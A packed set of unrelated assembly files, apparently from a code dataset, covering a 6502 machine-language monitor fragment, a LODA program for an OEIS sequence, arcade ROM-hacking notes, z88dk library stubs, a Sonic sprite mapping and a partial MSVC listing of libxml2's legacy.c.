UNLSN ; command device to unlisten JSR CRLF ; new line LDA TMP0 ; load device address PHA ; save on stack JSR TALK ; command device to talk LDA #$60 ; secondary address 0 (only low nybble used) JSR TKSA LDY #3 ; read 3 16-bit values from device DIRLIN: STY STORE ; ignore the first 2; 3rd is file size DLINK: JSR ACPTR ; read low byte from device STA TMP0 ; store it LDA SATUS ; check status BNE DREXIT ; exit if error or eof occurred JSR ACPTR ; read high byte from device STA TMP0+1 ; store it LDA SATUS ; check status BNE DREXIT ; exit if error or eof cocurred DEC STORE ; decrement byte count BNE DLINK ; loop if bytes remain JSR CVTDEC ; convert last 16-bit value to decimal LDA #0 ; clear digit count LDX #6 ; max 6 digits LDY #3 ; 3 bits per digit JSR NMPRNT ; output number LDA #" " ; output space JSR CHROUT DNAME: JSR ACPTR ; get a filename character from the device BEQ DMORE ; if it's null, break out of loop LDX SATUS ; check for errors or eof BNE DREXIT ; if found exit early JSR CHROUT ; output character CLC BCC DNAME ; unconditional branch to read next char DMORE: JSR CRLF JSR STOP ; check for stop key BEQ DREXIT ; exit early if pressed JSR GETIN ; pause if a key was pressed BEQ NOPAWS PAWS: JSR GETIN ; wait until another key is pressed BEQ PAWS NOPAWS: LDY #2 BNE DIRLIN ; unconditional branch to read next file DREXIT: JSR UNTLK ; command device to untalk PLA ; restore accumulator JSR LISTEN ; command device to listen LDA #$E0 ; secondary address 0 (only low nybble is used) JSR SECOND JSR UNLSN ; command device to unlisten JMP STRT ; back to mainloop ; ----------------------------------------------------------------------------- ; print and clear routines CLINE: JSR CRLF ; send CR+LF JMP SNCLR ; clear line SNDCLR: JSR SNDMSG SNCLR: LDY #$28 ; loop 40 times SNCLP: LDA #$20 ; output space character JSR CHROUT LDA #$14 ; output delete character JSR CHROUT DEY BNE SNCLP RTS ; ----------------------------------------------------------------------------- ; display message from table SNDMSG: LDA MSGBAS,Y ; Y contains offset in msg table PHP AND #$7F ; strip high bit before output JSR CHOUT INY PLP BPL SNDMSG ; loop until high bit is set RTS ; ----------------------------------------------------------------------------- ; message table; last character has high bit set label MSGBAS = _ MSG2: .byte $0D ; header for registers .text " PC SR AC XR YR SP V1.2" .byte $0D+$80 MSG3: .byte $1D,$3F+$80 ; syntax error: move right, display "?" MSG4: .text "..SYS" ; SYS call to enter monitor .byte $20+$80 MSG5: .byte $3A,$12+$80 ; ":" then RVS ON for memory ASCII dump MSG6: .text " ERRO" ; I/O error: display " ERROR" .byte "R".toChar + $80 MSG7: .byte $41,$20+$80 ; assemble next instruction: "A " + addr MSG8: .text " " ; pad non-existent byte: skip 3 spaces .byte $20+$80 ; ----------------------------------------------------------------------------- ; addressing mode table - nybbles provide index into MODE2 table ; for opcodes XXXXXXY0, use XXXXXX as index into table ; for opcodes WWWXXY01 use $40 + XX as index into table ; use right nybble if Y=0; use left nybble if Y=1 MODE: .byte $40,$02,$45,$03 ; even opcodes .byte $D0,$08,$40,$09 .byte $30,$22,$45,$33 .byte $D0,$08,$40,$09 .byte $40,$02,$45,$33 .byte $D0,$08,$40,$09 .byte $40,$02,$45,$B3 .byte $D0,$08,$40,$09 .byte $00,$22,$44,$33 .byte $D0,$8C,$44,$00 .byte $11,$22,$44,$33 .byte $D0,$8C,$44,$9A .byte $10,$22,$44,$33 .byte $D0,$08,$40,$09 .byte $10,$22,$44,$33 .byte $D0,$08,$40,$09 .byte $62,$13,$78,$A9 ; opcodes ending in 01 ; addressing mode format definitions indexed by nybbles from MODE table ; left 6 bits define which characters appear in the assembly operand ; left 3 bits are before the address; next 3 bits are after ; right-most 2 bits define length of binary operand ; index 654 321 ; 1st character $(# ,), ; 2nd character $$ X Y length format idx mode MODE2: .byte $00 ; 000 000 00 0 error .byte $21 ; 001 000 01 #$00 1 immediate .byte $81 ; 100 000 01 $00 2 zero-page .byte $82 ; 100 000 10 $0000 3 absolute .byte $00 ; 000 000 00 4 implied .byte $00 ; 000 000 00 5 accumulator .byte $59 ; 010 110 01 ($00,X) 6 indirect,X .byte $4D ; 010 011 01 ($00),Y 7 indirect,Y .byte $91 ; 100 100 01 $00,X 8 zero-page,X .byte $92 ; 100 100 10 $0000,X 9 absolute,X .byte $86 ; 100 001 10 $0000,Y A absolute,Y .byte $4A ; 010 010 10 ($0000) B indirect .byte $85 ; 100 001 01 $00,Y C zero-page,Y .byte $9D ; 100 111 01 $0000* D relative ; * relative is special-cased so format bits don't match ; character lookup tables for the format definitions in MODE2 CHAR1: .byte $2C,$29,$2C ; "," ")" "," .byte $23,$28,$24 ; "#" "(" "$" CHAR2: .byte $59,$00,$58 ; "Y" 0 "X" .byte $24,$24,$00 ; "$" "$" 0 ; ----------------------------------------------------------------------------- ; 3-letter mnemonics packed into two bytes (5 bits per letter) ; left 8 bits ; XXXXX000 opcodes MNEML: .byte $1C,$8A,$1C,$23 ; BRK PHP BPL CLC .byte $5D,$8B,$1B,$A1 ; JSR PLP BMI SEC .byte $9D,$8A,$1D,$23 ; RTI PHA BVC CLI .byte $9D,$8B,$1D,$A1 ; RTS PLA BVS SEI .byte $00,$29,$19,$AE ; ??? DEY BCC TYA .byte $69,$A8,$19,$23 ; LDY TAY BCS CLV .byte $24,$53,$1B,$23 ; CPY INY BNE CLD .byte $24,$53,$19,$A1 ; CPX INX BEQ SED ; XXXYY100 opcodes .byte $00,$1A,$5B,$5B ; ??? BIT JMP JMP .byte $A5,$69,$24,$24 ; STY LDY CPY CPX ; 1XXX1010 opcodes .byte $AE,$AE,$A8,$AD ; TXA TXS TAX TSX .byte $29,$00,$7C,$00 ; DEX ??? NOP ??? ; XXXYYY10 opcodes .byte $15,$9C,$6D,$9C ; ASL ROL LSR ROR .byte $A5,$69,$29,$53 ; STX LDX DEC INC ; XXXYYY01 opcodes .byte $84,$13,$34,$11 ; ORA AND EOR ADC .byte $A5,$69,$23,$A0 ; STA LDA CMP SBC ; right 7 bits, left justified ; XXXXX000 opcodes MNEMR: .byte $D8,$62,$5A,$48 ; BRK PHP BPL CLC .byte $26,$62,$94,$88 ; JSR PLP BMI SEC .byte $54,$44,$C8,$54 ; RTI PHA BVC CLI .byte $68,$44,$E8,$94 ; RTS PLA BVS SEI .byte $00,$B4,$08,$84 ; ??? DEY BCC TYA .byte $74,$B4,$28,$6E ; LDY TAY BCS CLV .byte $74,$F4,$CC,$4A ; CPY INY BNE CLD .byte $72,$F2,$A4,$8A ; CPX INX BEQ SED ; XXXYY100 opcodes .byte $00,$AA,$A2,$A2 ; ??? BIT JMP JMP .byte $74,$74,$74,$72 ; STY LDY CPY CPX ; 1XXX1010 opcodes .byte $44,$68,$B2,$32 ; TXA TXS TAX TSX .byte $B2,$00,$22,$00 ; DEX ??? NOP ??? ; XXXYYY10 opcodes .byte $1A,$1A,$26,$26 ; ASL ROL LSR ROR .byte $72,$72,$88,$C8 ; STX LDX DEC INC ; XXXYYY01 opcodes .byte $C4,$CA,$26,$48 ; ORA AND EOR ADC .byte $44,$44,$A2,$C8 ; STA LDA CMP SBC .byte $0D,$20,$20,$20 ; ----------------------------------------------------------------------------- ; single-character commands KEYW: .text "ACDFGHJMRTX@.>;" HIKEY: .text "$+&%LSV" label KEYTOP = _ ; vectors corresponding to commands above KADDR: .word ASSEM-1,COMPAR-1,DISASS-1,FILL-1 .word GOTO-1,HUNT-1,JSUB-1,DSPLYM-1 .word DSPLYR-1,TRANS-1,EXIT-1,DSTAT-1 .word ASSEM-1,ALTM-1,ALTR-1 ; ----------------------------------------------------------------------------- MODTAB: .byte $10,$0A,$08,02 ; modulo number systems LENTAB: .byte $04,$03,$03,$01 ; bits per digit LINKAD: .word BREAK ; address of brk handler SUPAD: .word SUPER ; address of entry point
45.94232
95
0.496029
9349c78f796b5a411028b2fb4f124cb3db051a39
405
asm
Assembly
oeis/342/A342380.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/342/A342380.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/342/A342380.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A342380: Expansion of e.g.f. (exp(x)-1)*(exp(x) - x^4/24 - x^3/6 - x^2/2 - x - 1). ; Submitted by Jamie Morken(m3) ; 0,0,0,0,0,0,6,28,92,255,637,1485,3301,7098,14912,30826,63018,127857,258095,519251,1042379,2089604,4185194,8377704,16764264,33539155,67090961,134196873,268411297,536843070,1073709892,2147447190,4294925846,8589887653,17179816227 seq $0,2664 ; a(n) = 2^n - C(n,0)- ... - C(n,4). trn $0,1
57.857143
228
0.693827
ab42a533fa5020cc330bc2bb995c2172e3abbb4b
264
asm
Assembly
wof/lcs/base/7BE.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
wof/lcs/base/7BE.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
wof/lcs/base/7BE.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 0015FC move.w A0, -(A4) [base+314] 0015FE move.w A4, ($314,A5) [base+7BA, base+7BC, base+7BE] 05DFAE bsr $5e0be [base+7BA, base+7BC, base+7BE] copyright zengfr site:http://github.com/zengfr/romhack
33
60
0.704545
e90b340f366639c9d3a60977ce2f2986b4cce3b3
202
asm
Assembly
MOS2/OS.asm
Mishin870/MOS
cf2a94b0a0ace3380dd58adc4848baed78097df2
[ "MIT" ]
1
2020-10-10T08:31:42.000Z
2020-10-10T08:31:42.000Z
MOS2/OS.asm
Mishin870/MOS
cf2a94b0a0ace3380dd58adc4848baed78097df2
[ "MIT" ]
null
null
null
MOS2/OS.asm
Mishin870/MOS
cf2a94b0a0ace3380dd58adc4848baed78097df2
[ "MIT" ]
null
null
null
macro align value { db value-1 - ($ + value-1) mod (value) dup 0 } HEADS = 1 SPT = 18 ;4 сектора по 512 байт Begin: file "boot.bin", 512 file "kernel.bin" align 8192 ;16 секторов align HEADS*SPT*512
25.25
66
0.673267
7a99dd7a9e047ec1de75fc6559ff78146e1cbec8
150
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddr2cx.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddr2cx.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddr2cx.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; uint zx_saddr2cx(void *saddr) SECTION code_clib SECTION code_arch PUBLIC zx_saddr2cx EXTERN asm_zx_saddr2cx defc zx_saddr2cx = asm_zx_saddr2cx
12.5
34
0.826667
2fa28c38d7223d6c30c48b510b2c2c6fb1b673c5
1,354
asm
Assembly
libsrc/_DEVELOPMENT/target/yaz180/device/asci/z180/asm_asci0_init.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/yaz180/device/asci/z180/asm_asci0_init.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/yaz180/device/asci/z180/asm_asci0_init.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
INCLUDE "config_private.inc" SECTION code_driver PUBLIC asm_asci0_init EXTERN asm_asci0_reset EXTERN asm_z180_push_di, asm_z180_pop_ei_jp asm_asci0_init: call asm_z180_push_di ; di ; initialise the ASCI0 ; load the default ASCI configuration ; BAUD = 115200 8n1 ; receive enabled ; transmit enabled ; receive interrupt enabled ; transmit interrupt disabled ld a,CNTLA0_RE|CNTLA0_TE|CNTLA0_MODE_8N2 out0 (CNTLA0),a ; output to the ASCI0 control A reg ; PHI / PS / SS / DR = BAUD Rate ; PHI = 36.864MHz ; BAUD = 115200 = 36864000 / 10 / 2 / 16 ; PS 0, SS_DIV_2, DR 0 ; 115200 baud 8n2 ld a,CNTLB0_SS_DIV_2 out0 (CNTLB0),a ; output to the ASCI0 control B reg ld a,STAT0_RIE ; receive interrupt enabled out0 (STAT0),a ; output to the ASCI0 status reg jp asm_z180_pop_ei_jp ; ei
34.717949
77
0.441654
29622707295718cc7c80f35c2c3c4e055029d879
131
asm
Assembly
Working Disassembly/General/Sprites/Cluckoid/Map - Cluckoid Arrow.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
5
2021-07-09T08:17:56.000Z
2022-02-27T19:57:47.000Z
Working Disassembly/General/Sprites/Cluckoid/Map - Cluckoid Arrow.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
Working Disassembly/General/Sprites/Cluckoid/Map - Cluckoid Arrow.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
Map_8E536: dc.w word_8E538-Map_8E536 word_8E538: dc.w 2 dc.b $F4, $C, 0, 0, $FF, $F0 dc.b $FC, 1, 0, 4, $FF, $F8
26.2
37
0.526718
f1c10a84886828c28364dfab19c0af3ca2a87e71
151,359
asm
Assembly
win32/VC10/Win32/libxml2_Release/legacy.asm
txwizard/libxml2_x64_and_ARM
bc19a931370a09ee379d641a7c9a862fecebff3b
[ "MIT" ]
null
null
null
win32/VC10/Win32/libxml2_Release/legacy.asm
txwizard/libxml2_x64_and_ARM
bc19a931370a09ee379d641a7c9a862fecebff3b
[ "MIT" ]
null
null
null
win32/VC10/Win32/libxml2_Release/legacy.asm
txwizard/libxml2_x64_and_ARM
bc19a931370a09ee379d641a7c9a862fecebff3b
[ "MIT" ]
null
null
null
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1 TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\legacy.c .686P .XMM include listing.inc .model flat INCLUDELIB MSVCRT INCLUDELIB OLDNAMES PUBLIC ??_C@_08EBLJJHKN@validate@ ; `string' PUBLIC ??_C@_0M@LFNKGPPF@load?5subset@ ; `string' PUBLIC ??_C@_0M@JOFGOHIP@keep?5blanks@ ; `string' PUBLIC ??_C@_0M@EPCDMNHL@disable?5SAX@ ; `string' PUBLIC ??_C@_0BI@NFNCEEMJ@fetch?5external?5entities@ ; `string' PUBLIC ??_C@_0BE@MFJOLEGC@substitute?5entities@ ; `string' PUBLIC ??_C@_0BB@FNGHLMDK@gather?5line?5info@ ; `string' PUBLIC ??_C@_09OBFNJHCP@user?5data@ ; `string' PUBLIC ??_C@_07ELANCDBJ@is?5html@ ; `string' PUBLIC ??_C@_0O@NMMOLLEF@is?5standalone@ ; `string' PUBLIC ??_C@_0M@DGHBBHCN@stop?5parser@ ; `string' PUBLIC ??_C@_08JEEDKNPB@document@ ; `string' PUBLIC ??_C@_0P@NEKMCKKP@is?5well?5formed@ ; `string' PUBLIC ??_C@_08EKBKNFNH@is?5valid@ ; `string' PUBLIC ??_C@_09HIOCHIDE@SAX?5block@ ; `string' PUBLIC ??_C@_0BM@OCAFNLBC@SAX?5function?5internalSubset@ ; `string' PUBLIC ??_C@_0BK@KGOMEKBB@SAX?5function?5isStandalone@ ; `string' PUBLIC ??_C@_0BP@PCBCHDK@SAX?5function?5hasInternalSubset@ ; `string' PUBLIC ??_C@_0BP@NEKEPJAE@SAX?5function?5hasExternalSubset@ ; `string' PUBLIC ??_C@_0BL@PDBAGIFI@SAX?5function?5resolveEntity@ ; `string' PUBLIC ??_C@_0BH@FFFDLCDF@SAX?5function?5getEntity@ ; `string' PUBLIC ??_C@_0BI@COIOKLKC@SAX?5function?5entityDecl@ ; `string' PUBLIC ??_C@_0BK@OEHIHIHP@SAX?5function?5notationDecl@ ; `string' PUBLIC ??_C@_0BL@FLOOINBL@SAX?5function?5attributeDecl@ ; `string' PUBLIC ??_C@_0BJ@PINGOANC@SAX?5function?5elementDecl@ ; `string' PUBLIC ??_C@_0CA@PPDJGMOP@SAX?5function?5unparsedEntityDecl@ ; `string' PUBLIC ??_C@_0CA@LKGNIEEL@SAX?5function?5setDocumentLocator@ ; `string' PUBLIC ??_C@_0BL@GBPENFAA@SAX?5function?5startDocument@ ; `string' PUBLIC ??_C@_0BJ@BMHDOOAH@SAX?5function?5endDocument@ ; `string' PUBLIC ??_C@_0BK@MKAFHOHD@SAX?5function?5startElement@ ; `string' PUBLIC ??_C@_0BI@EKKAMIPM@SAX?5function?5endElement@ ; `string' PUBLIC ??_C@_0BH@COKKFLJA@SAX?5function?5reference@ ; `string' PUBLIC ??_C@_0BI@OKJHNGCO@SAX?5function?5characters@ ; `string' PUBLIC ??_C@_0CB@KGCDCKOM@SAX?5function?5ignorableWhitespac@ ; `string' PUBLIC ??_C@_0CD@FCJNICIP@SAX?5function?5processingInstruct@ ; `string' PUBLIC ??_C@_0BF@LMDIIKPA@SAX?5function?5comment@ ; `string' PUBLIC ??_C@_0BF@IKOPPKMI@SAX?5function?5warning@ ; `string' PUBLIC ??_C@_0BD@DNENFEEM@SAX?5function?5error@ ; `string' PUBLIC ??_C@_0BI@IMPPHMFP@SAX?5function?5fatalError@ ; `string' PUBLIC ??_C@_0CA@CFPGLICD@SAX?5function?5getParameterEntity@ ; `string' PUBLIC ??_C@_0BI@FKOGIEIN@SAX?5function?5cdataBlock@ ; `string' PUBLIC ??_C@_0BM@DJIAAFCM@SAX?5function?5externalSubset@ ; `string' _DATA SEGMENT COMM _xmlMalloc:DWORD COMM _xmlMallocAtomic:DWORD COMM _xmlRealloc:DWORD COMM _xmlFree:DWORD COMM _xmlMemStrdup:DWORD COMM _xmlIsBaseCharGroup:BYTE:010H COMM _xmlIsCharGroup:BYTE:010H COMM _xmlIsCombiningGroup:BYTE:010H COMM _xmlIsDigitGroup:BYTE:010H COMM _xmlIsExtenderGroup:BYTE:010H COMM _xmlIsIdeographicGroup:BYTE:010H COMM _xmlIsPubidChar_tab:BYTE:0100H COMM _xmlParserMaxDepth:DWORD COMM _forbiddenExp:DWORD COMM _emptyExp:DWORD _DATA ENDS msvcjmc SEGMENT __188180DA_corecrt_math@h DB 01H __2CC6E67D_corecrt_stdio_config@h DB 01H __05476D76_corecrt_wstdio@h DB 01H __A452D4A0_stdio@h DB 01H __4384A2D9_corecrt_memcpy_s@h DB 01H __4E51A221_corecrt_wstring@h DB 01H __2140C079_string@h DB 01H __06F2C055_legacy@c DB 01H msvcjmc ENDS ; COMDAT ??_C@_0BM@DJIAAFCM@SAX?5function?5externalSubset@ CONST SEGMENT ??_C@_0BM@DJIAAFCM@SAX?5function?5externalSubset@ DB 'SAX function extern' DB 'alSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BI@FKOGIEIN@SAX?5function?5cdataBlock@ CONST SEGMENT ??_C@_0BI@FKOGIEIN@SAX?5function?5cdataBlock@ DB 'SAX function cdataBlock' DB 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CA@CFPGLICD@SAX?5function?5getParameterEntity@ CONST SEGMENT ??_C@_0CA@CFPGLICD@SAX?5function?5getParameterEntity@ DB 'SAX function ge' DB 'tParameterEntity', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BI@IMPPHMFP@SAX?5function?5fatalError@ CONST SEGMENT ??_C@_0BI@IMPPHMFP@SAX?5function?5fatalError@ DB 'SAX function fatalError' DB 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BD@DNENFEEM@SAX?5function?5error@ CONST SEGMENT ??_C@_0BD@DNENFEEM@SAX?5function?5error@ DB 'SAX function error', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BF@IKOPPKMI@SAX?5function?5warning@ CONST SEGMENT ??_C@_0BF@IKOPPKMI@SAX?5function?5warning@ DB 'SAX function warning', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BF@LMDIIKPA@SAX?5function?5comment@ CONST SEGMENT ??_C@_0BF@LMDIIKPA@SAX?5function?5comment@ DB 'SAX function comment', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CD@FCJNICIP@SAX?5function?5processingInstruct@ CONST SEGMENT ??_C@_0CD@FCJNICIP@SAX?5function?5processingInstruct@ DB 'SAX function pr' DB 'ocessingInstruction', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CB@KGCDCKOM@SAX?5function?5ignorableWhitespac@ CONST SEGMENT ??_C@_0CB@KGCDCKOM@SAX?5function?5ignorableWhitespac@ DB 'SAX function ig' DB 'norableWhitespace', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BI@OKJHNGCO@SAX?5function?5characters@ CONST SEGMENT ??_C@_0BI@OKJHNGCO@SAX?5function?5characters@ DB 'SAX function characters' DB 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BH@COKKFLJA@SAX?5function?5reference@ CONST SEGMENT ??_C@_0BH@COKKFLJA@SAX?5function?5reference@ DB 'SAX function reference', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BI@EKKAMIPM@SAX?5function?5endElement@ CONST SEGMENT ??_C@_0BI@EKKAMIPM@SAX?5function?5endElement@ DB 'SAX function endElement' DB 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BK@MKAFHOHD@SAX?5function?5startElement@ CONST SEGMENT ??_C@_0BK@MKAFHOHD@SAX?5function?5startElement@ DB 'SAX function startEle' DB 'ment', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BJ@BMHDOOAH@SAX?5function?5endDocument@ CONST SEGMENT ??_C@_0BJ@BMHDOOAH@SAX?5function?5endDocument@ DB 'SAX function endDocume' DB 'nt', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BL@GBPENFAA@SAX?5function?5startDocument@ CONST SEGMENT ??_C@_0BL@GBPENFAA@SAX?5function?5startDocument@ DB 'SAX function startDo' DB 'cument', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CA@LKGNIEEL@SAX?5function?5setDocumentLocator@ CONST SEGMENT ??_C@_0CA@LKGNIEEL@SAX?5function?5setDocumentLocator@ DB 'SAX function se' DB 'tDocumentLocator', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CA@PPDJGMOP@SAX?5function?5unparsedEntityDecl@ CONST SEGMENT ??_C@_0CA@PPDJGMOP@SAX?5function?5unparsedEntityDecl@ DB 'SAX function un' DB 'parsedEntityDecl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BJ@PINGOANC@SAX?5function?5elementDecl@ CONST SEGMENT ??_C@_0BJ@PINGOANC@SAX?5function?5elementDecl@ DB 'SAX function elementDe' DB 'cl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BL@FLOOINBL@SAX?5function?5attributeDecl@ CONST SEGMENT ??_C@_0BL@FLOOINBL@SAX?5function?5attributeDecl@ DB 'SAX function attribu' DB 'teDecl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BK@OEHIHIHP@SAX?5function?5notationDecl@ CONST SEGMENT ??_C@_0BK@OEHIHIHP@SAX?5function?5notationDecl@ DB 'SAX function notation' DB 'Decl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BI@COIOKLKC@SAX?5function?5entityDecl@ CONST SEGMENT ??_C@_0BI@COIOKLKC@SAX?5function?5entityDecl@ DB 'SAX function entityDecl' DB 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BH@FFFDLCDF@SAX?5function?5getEntity@ CONST SEGMENT ??_C@_0BH@FFFDLCDF@SAX?5function?5getEntity@ DB 'SAX function getEntity', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BL@PDBAGIFI@SAX?5function?5resolveEntity@ CONST SEGMENT ??_C@_0BL@PDBAGIFI@SAX?5function?5resolveEntity@ DB 'SAX function resolve' DB 'Entity', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BP@NEKEPJAE@SAX?5function?5hasExternalSubset@ CONST SEGMENT ??_C@_0BP@NEKEPJAE@SAX?5function?5hasExternalSubset@ DB 'SAX function has' DB 'ExternalSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BP@PCBCHDK@SAX?5function?5hasInternalSubset@ CONST SEGMENT ??_C@_0BP@PCBCHDK@SAX?5function?5hasInternalSubset@ DB 'SAX function hasI' DB 'nternalSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BK@KGOMEKBB@SAX?5function?5isStandalone@ CONST SEGMENT ??_C@_0BK@KGOMEKBB@SAX?5function?5isStandalone@ DB 'SAX function isStanda' DB 'lone', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BM@OCAFNLBC@SAX?5function?5internalSubset@ CONST SEGMENT ??_C@_0BM@OCAFNLBC@SAX?5function?5internalSubset@ DB 'SAX function intern' DB 'alSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09HIOCHIDE@SAX?5block@ CONST SEGMENT ??_C@_09HIOCHIDE@SAX?5block@ DB 'SAX block', 00H ; `string' CONST ENDS ; COMDAT ??_C@_08EKBKNFNH@is?5valid@ CONST SEGMENT ??_C@_08EKBKNFNH@is?5valid@ DB 'is valid', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0P@NEKMCKKP@is?5well?5formed@ CONST SEGMENT ??_C@_0P@NEKMCKKP@is?5well?5formed@ DB 'is well formed', 00H ; `string' CONST ENDS ; COMDAT ??_C@_08JEEDKNPB@document@ CONST SEGMENT ??_C@_08JEEDKNPB@document@ DB 'document', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@DGHBBHCN@stop?5parser@ CONST SEGMENT ??_C@_0M@DGHBBHCN@stop?5parser@ DB 'stop parser', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0O@NMMOLLEF@is?5standalone@ CONST SEGMENT ??_C@_0O@NMMOLLEF@is?5standalone@ DB 'is standalone', 00H ; `string' CONST ENDS ; COMDAT ??_C@_07ELANCDBJ@is?5html@ CONST SEGMENT ??_C@_07ELANCDBJ@is?5html@ DB 'is html', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09OBFNJHCP@user?5data@ CONST SEGMENT ??_C@_09OBFNJHCP@user?5data@ DB 'user data', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BB@FNGHLMDK@gather?5line?5info@ CONST SEGMENT ??_C@_0BB@FNGHLMDK@gather?5line?5info@ DB 'gather line info', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BE@MFJOLEGC@substitute?5entities@ CONST SEGMENT ??_C@_0BE@MFJOLEGC@substitute?5entities@ DB 'substitute entities', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BI@NFNCEEMJ@fetch?5external?5entities@ CONST SEGMENT ??_C@_0BI@NFNCEEMJ@fetch?5external?5entities@ DB 'fetch external entities' DB 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@EPCDMNHL@disable?5SAX@ CONST SEGMENT ??_C@_0M@EPCDMNHL@disable?5SAX@ DB 'disable SAX', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@JOFGOHIP@keep?5blanks@ CONST SEGMENT ??_C@_0M@JOFGOHIP@keep?5blanks@ DB 'keep blanks', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@LFNKGPPF@load?5subset@ CONST SEGMENT ??_C@_0M@LFNKGPPF@load?5subset@ DB 'load subset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_08EBLJJHKN@validate@ CONST SEGMENT ??_C@_08EBLJJHKN@validate@ DB 'validate', 00H ; `string' CONST ENDS PUBLIC _xmlNewGlobalNs PUBLIC _xmlInitializePredefinedEntities PUBLIC _xmlEncodeEntities PUBLIC _xmlCleanupPredefinedEntities PUBLIC _xmlGetFeaturesList PUBLIC _xmlGetFeature PUBLIC _xmlSetFeature PUBLIC _getPublicId PUBLIC _getSystemId PUBLIC _setDocumentLocator PUBLIC _getLineNumber PUBLIC _getColumnNumber PUBLIC _isStandalone PUBLIC _hasInternalSubset PUBLIC _hasExternalSubset PUBLIC _internalSubset PUBLIC _externalSubset PUBLIC _getEntity PUBLIC _getParameterEntity PUBLIC _resolveEntity PUBLIC _entityDecl PUBLIC _attributeDecl PUBLIC _elementDecl PUBLIC _notationDecl PUBLIC _unparsedEntityDecl PUBLIC _startDocument PUBLIC _endDocument PUBLIC _attribute PUBLIC _startElement PUBLIC _endElement PUBLIC _reference PUBLIC _characters PUBLIC _ignorableWhitespace PUBLIC _processingInstruction PUBLIC _globalNamespace PUBLIC _setNamespace PUBLIC _getNamespace PUBLIC _checkNamespace PUBLIC _namespaceDecl PUBLIC _comment PUBLIC _cdataBlock PUBLIC 